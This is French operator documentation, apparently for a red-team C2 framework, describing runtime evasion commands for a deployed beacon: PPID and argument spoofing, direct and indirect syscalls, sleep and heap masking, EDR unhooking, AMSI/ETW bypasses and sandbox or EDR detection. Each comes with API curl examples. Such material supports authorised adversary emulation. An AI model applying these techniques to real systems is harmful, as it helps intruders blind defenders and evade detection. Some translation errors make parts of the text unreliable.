Commandes d'évasion¶
Les contrôles d'évasion à l'exécution permettent aux opérateurs de modifier la posture défensive d'un beacon après son déploiement. Ces commandes modifient la façon dont le beacon interagit avec le système d'exploitation - en ajustant le comportement de veille, le routage des appels système, les attributs de processus et les techniques de contournement EDR - le tout sans redéployer le payload.
Temps de construction et temps d'exécution
Cette page documente les commandes runtime C2 qui modifient le comportement du beacon après l'enregistrement. Pour les options d'évasion au moment de la construction configurées lors de la génération de le payload (obfuscation Garble, date d'élimination, fonction de sortie, kits personnalisés), consultez la page Evasion Kits.
Matrice de configuration d'évasion¶
Le tableau ci-dessous résume chaque commande d'évasion, sa syntaxe, si elle peut être modifiée au moment de l'exécution et la technique MITRE ATT&CK applicable.
| Commande | Syntaxe | Description | Durée d'exécution | ATTAQUE À ONGLET&CK |
|---|---|---|---|---|
sleep | sleep <seconds> [jitter%] | Définir l'intervalle de rappel et la gigue | Oui | T1029 (Transfert programmé) |
sleepu | sleepu <duration_string> | Durée de sommeil lisible par l'homme | Oui | T1029 |
pause | pause <milliseconds> | Pause ponctuelle (cycle unique) | Oui | T1029 |
checkin | checkin | Forcer l'enregistrement immédiat | Oui | -- |
ppid | ppid <pid> | Définir le PID parent pour les processus enfants | Oui | T1134.004 (usurpation du PID du parent) |
spawnto | spawnto <x86\|x64> <chemin> | Définir un processus sacrificiel pour le fork-and-run | Oui | T1055 (Injection de procédé) |
blockdlls | `blockdlls [démarrer|arrête] | Bloquer les DLL non Microsoft chez les enfants | Oui | T1562.001 (Défenses d'altération) |
argue | argue <command> <fake_args> | Définir de faux arguments de ligne de commande | Oui | T1564.010 (usurpation d'argument de processus) |
syscall-method | méthode syscall <aucun\|direct\|indirect> | Modifier la méthode d'appel système | Oui | T1106 (API native) |
beacon_gate | beacon_gate [activer\|désactiver] | Acheminer 25 API via des appels système | Oui | T1106 |
sleep_config | sleep_config <setting> <value> | Configurer les options du masque de sommeil | Oui | T1497.003 (Évasion basée sur le temps) |
edr_query | edr_query [module] | Rechercher des hooks dans l'espace utilisateur | Oui | T1518.001 (Découverte de logiciels de sécurité) |
edr_unhook | edr_unhook <method> | Restaurer les octets de l'API propres | Oui | T1562.001 (Défenses d'altération) |
hwbp | hwbp <cible> [sur\|éteint] | Contournement AMSI/ETW du point d'arrêt matériel | Oui | T1562.001 |
opsec | opsec | Interroger la configuration d'évasion actuelle | Oui | -- |
safe_http | safe_http [sur\|éteint] | Chiffrer la mémoire lors des enregistrements HTTP | Oui | T1027 (Fichiers obscurcis) |
scatter_alloc | scatter_alloc [sur\|éteint] | Répartir la mémoire sur des pages non contiguës | Oui | T1027.005 (Retrait d'indicateur) |
anti_analysis | anti_analysis [options] | Vérifications de détection de sandbox/débogueur/VM | Oui | T1497.001 (Évasion du bac à sable) |
bof_async | bof_async <bof_file> [args] | Exécuter BOF de manière asynchrone pendant le sommeil | Oui | T1620 (Chargement de code réfléchissant) |
sleep_config thread_spoof | sleep_config thread_spoof [on\|off] | Usurper les adresses de depart des threads du beacon avec des exports DLL | Oui | T1036 (Masquerade) |
sleep_config heap_encrypt | sleep_config heap_encrypt [on\|off] | Chiffrement AES-128-CTR du tas pendant le sommeil | Oui | T1027 (Fichiers obscurcis) |
Contrôle de la mise en veille et des rappels¶
Contrôlez la fréquence à laquelle le beacon s'enregistre auprès du serveur d'équipe. Des intervalles plus courts permettent une interaction plus rapide mais génèrent plus de trafic réseau.
sleep <seconds> [jitter%]¶
Définissez l'intervalle de rappel du beacon et le pourcentage de gigue facultatif.
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
seconds | int | Oui | Intervalle de rappel en secondes (0 = interactif) |
jitter% | int | Non | Pourcentage de randomisation (0-99), appliqué à l'intervalle |
Le beacon met à jour sa valeur de sommeil lors du prochain enregistrement : aucune tâche n'est mise en file d'attente via l'implant. Le serveur met directement à jour le registre des beacons et l'implant récupère la nouvelle valeur de la réponse d'enregistrement.
Syntaxe du shell :
Exemple d'API :
# Via shell command endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleep 30 25"
}'
# Via dedicated sleep endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell/sleep \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"interval": 30,
"jitter": 25
}'
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/sleep \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"sleep_time": 30,
"jitter": 25
}'
Calcul de la gigue
Avec sleep 60 25, le beacon dort entre 45 et 60 secondes (60 moins 0 à 25 % de 60). La gigue empêche la détection de modèles périodiques par les outils de surveillance du réseau.
sleepu <duration_string>¶
Définissez le sommeil à l’aide d’une chaîne de durée lisible par l’homme. Prend en charge les jours, heures, minutes, secondes et composants de gigue.
Format de durée : <N>d <N>h <N>m <N>s <N>j
| Composant | Signification | Exemple |
|---|---|---|
d | Jours | 2d = 172 800 secondes |
h | Horaires | 13h = 46 800 secondes |
m | Procès-verbal | 45m = 2 700 secondes |
s | Secondes | 8s = 8 secondes |
j | Pourcentage de gigue | 30j = 30 % de gigue |
Syntaxe du shell :
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleepu 30m 15j"
}'
pause <milliseconds>¶
Pause ponctuelle : le beacon se met en veille une fois pendant la durée spécifiée, puis reprend son intervalle de rappel normal. Utile pour rester temporairement silencieux pendant une fenêtre spécifique.
Syntaxe du shell :
Cela met le beacon en pause pendant 5 minutes (300 000 ms), puis elle reprend le sommeil normal.
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "pause 300000"
}'
checkin¶
Forcez le beacon à s'enregistrer immédiatement en mettant en file d'attente une tâche d'enregistrement. L'implant renvoie ses informations système lors du prochain cycle d'interrogation.
Syntaxe du shell :
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "checkin"
}'
Configuration du processus¶
Configurez la façon dont le beacon génère les processus enfants. Ces paramètres affectent les opérations fork-and-run (exécution-assemblage, exécution BOF, injection de processus) et peuvent réduire considérablement la surface de détection du beacon.
ppid <pid>¶
Définissez l'ID du processus parent pour les processus enfants générés par le beacon. Utilise PROC_THREAD_ATTRIBUTE_PARENT_PROCESS pour donner l'impression que les processus enfants ont été générés par un parent légitime.
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
pid | int | Oui | PID parent cible (0 = désactiver l'usurpation d'identité) |
Syntaxe du shell :
Exemple d'API :
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/ppid \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"pid": 4892
}'
Choisir un PID parent
Sélectionnez un PID adapté au contexte du beacon. Si le beacon s'exécute en tant que service, svchost.exe est un parent naturel. Pour les beacons de contexte utilisateur, explorer.exe est typique. Utilisez ps pour énumérer les processus en cours et trouver un parent approprié.
Considérations OPSEC
- Efficace contre les outils d'analyse d'arborescence de processus qui inspectent les relations parent-enfant
- Détectable via les événements ETW
Microsoft-Windows-Kernel-Process-- leEventHeader.ProcessIdrévèle le véritable PID parent quelle que soit la valeur usurpée - Utilisez-le pour vous défendre contre l'inspection de l'arborescence des processus, et non contre les outils SOC équipés d'ETW.
- MITRE ATT&CK : T1134.004 (Manipulation du jeton d'accès : usurpation du PID parent)
spawnto <x86|x64> <path>¶
Définissez le processus sacrificiel utilisé pour les opérations fork-and-run. Lorsque le beacon doit exécuter du code dans un processus distinct (par exemple, exécuter-assembly, BOF avec sortie), elle génère ce processus, l'injecte, capture la sortie et y met fin.
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
arch | chaîne | Oui | Architecture : x86 ou x64 |
path | chaîne | Oui | Chemin complet vers le binaire du processus sacrificiel |
Syntaxe du shell :
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "spawnto x64 C:\\Windows\\System32\\svchost.exe"
}'
Considérations OPSEC
- Le processus sacrificiel par défaut (
rundll32.exe) est fortement surveillé par les solutions EDR - Choisissez un processus normal pour le contexte d'exécution du beacon (par exemple,
svchost.exepour SYSTEM,RuntimeBroker.exepour le contexte utilisateur) - Le processus généré a une durée de vie très courte (génération, injection, capture de sortie, fin) - les processus de courte durée sont un indicateur d'anomalie
- Considérez les arguments de ligne de commande typiques du processus (combinez avec
arguepour l'usurpation d'argument) - MITRE ATT&CK : T1055 (Injection de procédé)
blockdlls [start|stop]¶
Empêchez le chargement des DLL non signées par Microsoft dans les processus enfants. Cela applique PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON à tous les processus générés par le beacon.
Syntaxe du shell :
Exemple d'API :
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/blockdlls \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"enabled": true
}'
Pourquoi utiliser des blockdll
La plupart des produits EDR injectent une DLL en mode utilisateur dans chaque nouveau processus pour intercepter les appels d'API et surveiller le comportement. La politique d’atténuation blockdlls empêche le chargement de ces DLL non Microsoft, masquant ainsi l’instrumentation EDR dans les processus enfants du beacon.
Considérations OPSEC
- Très efficace pour empêcher l’injection de DLL EDR dans les processus sacrificiels
- La politique d'atténuation elle-même est visible par le système d'exploitation et peut être énumérée par les outils de sécurité
- Certaines applications légitimes dépendent de DLL non Microsoft.
blockdllspeut entraîner un dysfonctionnement de celles-ci. - MITRE ATT&CK : T1562.001 (altération des défenses : désactiver ou modifier les outils)
argue <command> <fake_args>¶
Définissez de faux arguments de ligne de commande pour une commande spécifique. Lorsque le beacon génère le processus, elle utilise les faux arguments (visibles pour la surveillance du processus), puis corrige les vrais arguments dans le PEB avant que le processus ne commence l'exécution.
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
command | chaîne | Oui | Le nom de l’exécutable auquel appliquer l’usurpation d’identité |
fake_args | chaîne | Oui | Faux arguments de ligne de commande visibles par la surveillance |
Syntaxe du shell :
argue net1.exe /enum /domain
argue powershell.exe -NoProfile -WindowStyle Hidden -Command "Get-Date"
Lorsque net1.exe est ensuite généré, les journaux de création de processus (événement Sysmon 1, événement Windows 4688) afficheront les faux arguments au lieu des vrais.
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "argue net1.exe /enum /domain"
}'
Considérations OPSEC
- Annule la journalisation en ligne de commande (ID d'événement Sysmon 1, événement de sécurité Windows 4688)
- La modification du PEB se produit après la création du processus mais avant l'exécution principale : il existe une brève fenêtre dans laquelle les arguments réels peuvent être capturés par une surveillance très rapide.
- Fonctionne mieux contre les systèmes de collecte de journaux asynchrones avec des retards de traitement
- MITRE ATT&CK : T1564.010 (Masquer les artefacts : usurpation d'argument de processus)
Configuration des appels système et des API¶
Contrôlez la manière dont le beacon appelle les fonctions de l'API Windows. Ces paramètres déterminent si les appels d'API passent par les hooks DLL en mode utilisateur (où EDR instrumente sa surveillance) ou les contournent via des appels système directs/indirects.
syscall-method <none|direct|indirect>¶
Modifiez la méthode d'appel système au moment de l'exécution.
Appels d’API Windows standard via kernel32.dll / ntdll.dll. Chaque appel passe par les exportations DLL en mode utilisateur où les hooks EDR sont installés.
Résout les numéros d'appel système au moment de l'exécution en parcourant le PEB InMemoryOrderModuleList pour trouver ntdll, puis exécute l'instruction syscall directement à partir de la mémoire du beacon. Contourne les hooks du mode utilisateur mais laisse un artefact « appel système provenant d'un non-ntdll » détectable par analyse de pile.
Exemple d'API :
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/syscallMethod \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"method": "indirect"
}'
| Mode | Contournement du crochet | Résistance de détection | Compatibilité | Recommandé pour |
|---|---|---|---|---|
none | Non | Faible | Toutes les fenêtres | Laboratoire / tests |
direct | Oui | Moyen | Windows 10+ | Missions standards |
indirect | Oui | Élevé | Windows 10+ | Environnements à forte densité EDR |
Bibliothèque Achéron
Les modes direct et indirect utilisent la bibliothèque achéron pour la résolution des numéros d'appel système via la marche PEB. La distinction réside dans l'endroit où l'instruction syscall s'exécute à partir de : la mémoire de beacon (directe) et ntdll.dll (indirect).
Considérations OPSEC
- Le mode
directest détectable par analyse de trace de pile -- l'instructionsyscalls'exécute à partir de la mémoire du beacon, et non de ntdll - Le mode
indirectest le plus résistant à l'évasion mais nécessite un mappage ntdll propre (à combiner avecedr_unhooksi nécessaire) - La modification de la méthode d'appel système au moment de l'exécution est transparente : aucun redémarrage ou réinjection n'est requis
- MITRE ATT&CK : T1106 (API native)
beacon_gate [enable|disable]¶
Activez ou désactivez BeaconGate, qui intercepte 25 API Windows couramment connectées et les achemine via la méthode d'appel système configurée (directe ou indirecte).
Syntaxe du shell :
Exemple d'API :
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"enabled": true
}'
# Query current BeaconGate status
curl -s https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
-H "Authorization: Bearer $TOKEN"
Les 25 API fermées sont organisées par catégorie :
| Catégorie | API |
|---|---|
| Mémoire | VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery |
| Thème | CreateThread, CreateRemoteThread, ResumeThread, OpenThread, ExitThread |
| Mémoire de processus | WriteProcessMemory, ReadProcessMemory |
| Poignée | OpenProcess, CloseHandle, DuplicateHandle |
| Contexte du fil | GetThreadContext, SetThreadContext |
| Mappage de fichiers | CreateFileMappingA, MapViewOfFile, UnmapViewOfFile |
| Réseau (WinINet) | InternetOpenA, InternetConnectA |
| Registre | NtSetValueKey, NtOpenKey |
Masque sur appel : Lorsqu'il est activé, BeaconGate crypte la mémoire du beacon avant chaque appel d'API bloqué et la déchiffre après. Évasion maximale au prix d’une surcharge CPU plus élevée. Automatiquement désactivé lorsque la veille du beacon descend en dessous de 3 secondes (mode interactif).
Meilleure combinaison
BeaconGate est plus efficace en combinaison avec des appels système indirects : syscall-method indirect suivi de beacon_gate enable. Faites des références croisées avec la Liste API BeaconGate complète dans la page Evasion Kits.
sleep_config¶
Configurez le comportement du masque de sommeil : chiffrement de texte, chiffrement de tas, usurpation d'identité de pile et méthode de veille. Les sous-commandes modifient les paramètres individuels.
Interroge la configuration actuelle du masque de sommeil du beacon et renvoie tous les paramètres.
Activez ou désactivez le cryptage XOR de la section .text du beacon pendant le sommeil.
Activez ou désactivez le chiffrement des allocations de tas pendant le sommeil. Empêche les analyseurs de mémoire EDR de trouver les chaînes de configuration et les URL C2 dans la mémoire tas.
Activez ou désactivez l’usurpation d’identité de la pile de threads pendant le sommeil. Fabrique des cadres de pile d'appels pour masquer les adresses de retour des beacons des outils de parcours de pile.
Basculez entre les méthodes de veille direct (SleepEx) et timer_queue (CreateTimerQueueTimer de style Ekko).
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleep_config sleep_mask on"
}'
Considérations OPSEC
- Le masquage du sommeil crypte la mémoire du beacon pendant les périodes d'inactivité, annulant ainsi l'analyse des signatures en mémoire
- Le masquage de tas masque les données de configuration, les URL C2 et autres chaînes des scanners de mémoire
- L'usurpation d'identité de pile élimine les outils tels que Hunt-Sleeping-Beacons, Patriot et Moneta qui identifient les threads en veille grâce à leur pile d'appels.
- La méthode
timer_queueévite les appels directs àSleep/SleepExsurveillés par les EDR, mais peut mal interagir avec le runtime Go dans les cas extrêmes. - MITRE ATT&CK : T1497.003 (Virtualisation/Évasion du bac à sable : Évasion basée sur le temps)
Évasion de la mémoire¶
Protégez le contenu de la mémoire du beacon pendant les opérations réseau et au repos. Ces techniques complètent le masquage du sommeil en sécurisant la mémoire en dehors des cycles de sommeil.
safe_http [on|off]¶
Chiffrez la mémoire du beacon lors des opérations d'enregistrement HTTP/HTTPS. Lorsqu'elle est activée, le beacon crypte ses données .text, son tas et ses données de configuration à l'aide de RC4 (via SystemFunction032) avant d'effectuer des appels de transport, puis déchiffre une fois la réponse traitée. Cela empêche les analyseurs de mémoire de trouver des signatures de beacon pendant la fenêtre d'E/S réseau.
Syntaxe du shell :
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
on/off | chaîne | Non | Activer ou désactiver (par défaut : on) |
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"evasion","data":{"method":"safe_http","params":{"enabled":true}}}'
Considérations OPSEC
- Utilise le même mécanisme RC4/SystemFunction032 que le masquage du sommeil : approche de chiffrement cohérente
- Le client de transport est exclu du chiffrement via
ExcludeFromSafeHTTP=truepour éviter les blocages. - Tous les appels de transport sont enveloppés, y compris les méthodes de drainage
- Ajoute une légère latence à chaque enregistrement en raison des cycles de cryptage/déchiffrement
- MITRE ATT&CK : T1027 (fichiers ou informations obscurcis)
scatter_alloc [on|off]¶
Distribuez la mémoire des beacons sur des pages non contiguës au lieu d'une seule allocation importante. Chaque page est chiffrée indépendamment avec des clés RC4 par page via SystemFunction032. La lecture de pages dispersées utilise un modèle de déchiffrement-copie-rechiffrement qui n'expose jamais le beacon complète en mémoire à la fois.
Syntaxe du shell :
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
on/off | chaîne | Non | Activer ou désactiver (par défaut : on) |
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"evasion","data":{"method":"scatter_alloc","params":{"enabled":true}}}'
Considérations OPSEC
- Défait les scanners de mémoire qui recherchent des signatures de beacons contiguës
- Pages suivies via un registre scatter dédié (pas un allocateur BUD)
- Le cryptage RC4 par page signifie que l'analyse d'une seule page ne révèle rien
- ReadPage utilise le modèle déchiffrer-copier-rechiffrer : le texte brut complet n'existe jamais au même endroit
- Augmente la surcharge de mémoire en raison des structures de suivi des pages
- MITRE ATT&CK : T1027.005 (Retrait de l'indicateur de l'hôte)
Compatibilité TEC
Sur les processeurs dotés d'Intel CET (Control-flow Enforcement Technology), l'usurpation d'identité de pile est automatiquement désactivée et le beacon revient à la méthode de veille timer_queue. CET est détecté au démarrage du beacon via IsUserCetAvailableInEnvironment. La commande opsec signale l'état CET. Les points d'arrêt matériels et toutes les fonctionnalités d'évasion de mémoire (safe_http, scatter_alloc, masquage du sommeil) restent entièrement compatibles avec CET.
Évasion EDR¶
Détectez et neutralisez les hooks de l'espace utilisateur EDR en interrogeant les fonctions hookées et en restaurant les octets d'API propres.
edr_query [module] [--verbose]¶
Analysez les DLL chargées à la recherche de hooks dans l'espace utilisateur. Par défaut, analyse ntdll.dll, kernel32.dll et kernelbase.dll. Spécifiez éventuellement une DLL spécifique à analyser.
Syntaxe du shell :
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
module | chaîne | Non | DLL spécifique à analyser (par défaut : ntdll, kernel32, kernelbase) |
--verbose | drapeau | Non | Afficher toutes les exportations, pas seulement les fonctions accrochées |
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "edr_query ntdll.dll"
}'
Sortie : Répertorie les fonctions accrochées avec les adresses cibles de saut. Les fonctions hookées voient leurs premiers octets remplacés par une instruction JMP pointant vers le code de surveillance de l'EDR.
A quoi ressemblent les crochets
Les premiers octets d'une fonction hookée sont remplacés par une instruction JMP (généralement E9 xx xx xx xx ou FF 25 xx xx xx xx) qui redirige l'exécution vers le gestionnaire d'interception de l'EDR. edr_query détecte ces modifications en comparant les prologues de fonction avec des modèles propres connus.
edr_unhook <method>¶
Restaurez les octets de l'API propres pour annuler les hooks de l'espace utilisateur EDR. Plusieurs stratégies de restauration sont disponibles.
Lisez une copie vierge de la DLL à partir des objets de la section \KnownDlls\. KnownDlls est un mécanisme Windows qui met en cache les DLL fréquemment utilisées. Ces copies mises en cache ne sont pas liées par l'EDR en mode utilisateur.
Lisez une copie propre de la DLL à partir du fichier sur le disque (C:\Windows\System32\ntdll.dll). Cela lit le fichier original et restaure la section .text.
Décrochez uniquement une fonction spécifique, en laissant les autres crochets intacts. Utile lorsque vous devez uniquement contourner la surveillance sur des API spécifiques.
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "edr_unhook knowndlls"
}'
Considérations OPSEC
- Le décrochage lui-même peut être détecté par les produits EDR avancés qui effectuent des contrôles d'intégrité périodiques sur leurs crochets.
- La stratégie
knowndllsest généralement la plus fiable et la plus furtive (pas d'E/S disque) - La stratégie
diskgénère des opérations de lecture de fichiers visibles dans la surveillance du système de fichiers - La stratégie
targeteda la plus petite empreinte : modifiez uniquement les octets dont vous avez besoin. heavensgateest uniquement WoW64 et est une technique bien connue avec des détections existantes- Pensez à utiliser
edr_queryd'abord pour comprendre le paysage du hook avant de décrocher - MITRE ATT&CK : T1562.001 (altération des défenses : désactiver ou modifier les outils)
Évitement des points d'arrêt matériels¶
Utilisez les registres de débogage du processeur (DR0-DR3) et un gestionnaire d'exceptions vectorielles (VEH) pour contourner AMSI et ETW sans modifier aucun octet de code en mémoire.
hwbp <target> [on|off]¶
Contrôlez le contournement basé sur des points d'arrêt matériels pour AMSI, ETW ou les deux.
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
target | chaîne | Oui | amsi, etw, both ou custom |
on/off | chaîne | Non | Activer ou désactiver (par défaut : on) |
Syntaxe du shell :
Point d'arrêt matériel personnalisé :
Définissez un point d'arrêt matériel sur une fonction arbitraire. Le VEH intercepte l'exécution à l'adresse du point d'arrêt et renvoie la valeur spécifiée.
| Paramètre | Type | Description |
|---|---|---|
function | chaîne | Nom de la fonction à intercepter |
dll | chaîne | DLL contenant la fonction |
ret_value | uint64 | Valeur de retour lorsque le point d'arrêt se déclenche (facultatif) |
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "hwbp both on"
}'
Comment ça marche¶
- Le beacon définit les registres de débogage (DR0-DR3) pour pointer vers
AmsiScanBufferet/ouEtwEventWrite - Un gestionnaire d'exceptions vectorielles (VEH) est enregistré pour intercepter les exceptions
EXCEPTION_SINGLE_STEP - Lorsque la fonction hookée est appelée, le CPU déclenche une exception de débogage avant l'exécution
- Le VEH intercepte l'exception et modifie la valeur de retour :
- AMSI : Renvoie
AMSI_RESULT_CLEAN(0) - toutes les analyses rapportent "propre" - ETW : Renvoie
ERROR_SUCCESS(0) - tous les événements sont supprimés silencieusement
- AMSI : Renvoie
- L'exécution continue normalement avec le contournement en vigueur
Avantage OPSEC
Les points d'arrêt matériels ne modifient aucun octet de code en mémoire. Contrairement aux correctifs en ligne (qui écrivent les instructions RET ou NOP), HWBP laisse AmsiScanBuffer et EtwEventWrite inchangés. Les scanners d'intégrité de la mémoire qui vérifient les octets corrigés ne trouveront rien d'inhabituel.
Considérations OPSEC
- Utilise 1 à 2 des 4 registres de débogage disponibles (DR0-DR3) -- si le processus cible utilise les registres de débogage à d'autres fins, des conflits peuvent survenir
- L'enregistrement VEH lui-même est détectable en énumérant la chaîne VEH
- Certains produits EDR avancés surveillent les modifications du registre de débogage via des rappels du noyau
- Préféré aux correctifs en ligne dans les environnements avec analyse de l'intégrité de la mémoire
- MITRE ATT&CK : T1562.001 (altération des défenses : désactiver ou modifier les outils)
Contournement AMSI et ETW¶
Approche traditionnelle de correctifs en ligne pour contourner AMSI (Antimalware Scan Interface) et ETW (Event Tracing pour Windows). Ceux-ci modifient les octets de code en mémoire – pour une alternative sans correctif, voir Hardware Breakpoint Evasion ci-dessus.
Contournement AMSI¶
Corrige AmsiScanBuffer dans amsi.dll pour renvoyer AMSI_RESULT_CLEAN pour toutes les demandes d'analyse. Empêche PowerShell, .NET, VBScript et JScript de signaler le contenu lié aux beacons.
Syntaxe du shell :
Cette commande est envoyée en tant que tâche d'évasion avec {"method": "amsi"}.
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "amsi"
}'
Contournement ETW¶
Corrige EtwEventWrite dans ntdll.dll avec une instruction RET, faisant taire tous les événements ETW du processus du beacon. Empêche les événements d'exécution .NET, la journalisation PowerShell et d'autres télémétries basées sur ETW.
Syntaxe du shell :
Cette commande est envoyée en tant que tâche d'évasion avec {"method": "etw"}.
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "etw"
}'
Considérations OPSEC
- Le correctif AMSI en ligne modifie les octets dans
amsi.dll-- détectable par analyse de l'intégrité de la mémoire (par exemple, CrowdStrike, SentinelOne) - Le correctif ETW modifie les octets dans
ntdll.dll-- également détectable par analyse d'intégrité - Les deux correctifs sont des signatures bien connues dans la communauté de la sécurité
- Préférez
hwbp both onpour les environnements avec analyse de l'intégrité de la mémoire : il obtient le même effet sans modifier aucun octet de code. - MITRE ATT&CK : T1562.001 (altération des défenses : désactiver ou modifier les outils)
Configuration OPSEC¶
opsec¶
Interrogez l’état actuel de la configuration d’évasion du beacon. Renvoie un audit complet de tous les paramètres d’évasion avec leurs valeurs actuelles, leurs scores de risque et leurs recommandations.
Syntaxe du shell :
Exemple d'API :
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "opsec"
}'
La sortie inclut :
- Intervalle de sommeil et gigue actuels
- Chemins de processus de génération (x86 et x64)
- État des BlockDLL
- Méthode Syscall (aucun/direct/indirect)
- Cible d'usurpation d'identité PPID
- Masque de sommeil, masque de tas et statut d'usurpation de pile
- Statut BeaconGate
- Statut HWBP
- Score OPSEC global avec recommandations
Anti-analyse¶
Détectez les environnements sandbox, débogueur et machine virtuelle avant d’exécuter des opérations sensibles. Le beacon peut être configurée pour s'arrêter automatiquement, dormir indéfiniment ou ignorer la tâche en cours lorsque des indicateurs d'analyse sont détectés.
anti_analysis [options]¶
Configurez les vérifications de l'environnement d'exécution qui s'exécutent avant l'exécution de la tâche. Utilise un modèle de détection basé sur un seuil : un seul indicateur n'est pas suffisant pour déclencher (nécessite plus de 2 indicateurs pour réduire les faux positifs).
Syntaxe du shell :
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
on/off/status | chaîne | Non | Activer, désactiver ou interroger l'état (par défaut : on) |
Catégories de détection :
| Catégorie | Indicateurs vérifiés |
|---|---|
| Bac à sable | Faible nombre de processeurs, petite RAM, installation récente du système d'exploitation, noms d'utilisateur sandbox connus, processus de l'outil d'analyse |
| Débogueur | IsDebuggerPresent, NtQueryInformationProcess(ProcessDebugPort), indicateurs de tas de débogage |
| Machine virtuelle | Clés de registre (VMware, VirtualBox, Hyper-V), préfixes VM MAC connus, bit d'hyperviseur CPUID |
| EDR | 10 signatures de processus fournisseurs (CrowdStrike, SentinelOne, Defender, Carbon Black, etc.) |
| Rejoint au domaine | Barre oblique inverse dans l'heuristique du nom d'utilisateur pour la détection de l'appartenance au domaine |
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"evasion","data":{"method":"anti_analysis","params":{"enabled":true}}}'
Considérations OPSEC
- Les vérifications d'environnement utilisent des API Windows standard (WMI, registre, énumération de processus) - elles-mêmes détectables
- Le seuil d'indicateur 2+ réduit les faux positifs (un seul artefact de VM ne se déclenchera pas)
- L'accès au registre réutilise le routage des appels système de la porte de beacon existante lorsqu'il est activé
- Envisagez d'exécuter
anti_analysis statuspour examiner les résultats de détection avant d'activer la résiliation automatique. - MITRE ATT&CK : T1497.001 (vérifications du système), T1497.002 (vérifications basées sur l'activité des utilisateurs)
Exécution asynchrone de BOF¶
Exécutez les fichiers objet Beacon de manière asynchrone pendant le cycle de veille du beacon. Contrairement au standard inline-execute (qui bloque jusqu'à la fin), bof_async lance le BOF dans une goroutine en arrière-plan et fournit les résultats lors du prochain enregistrement.
bof_async <bof_file> [args]¶
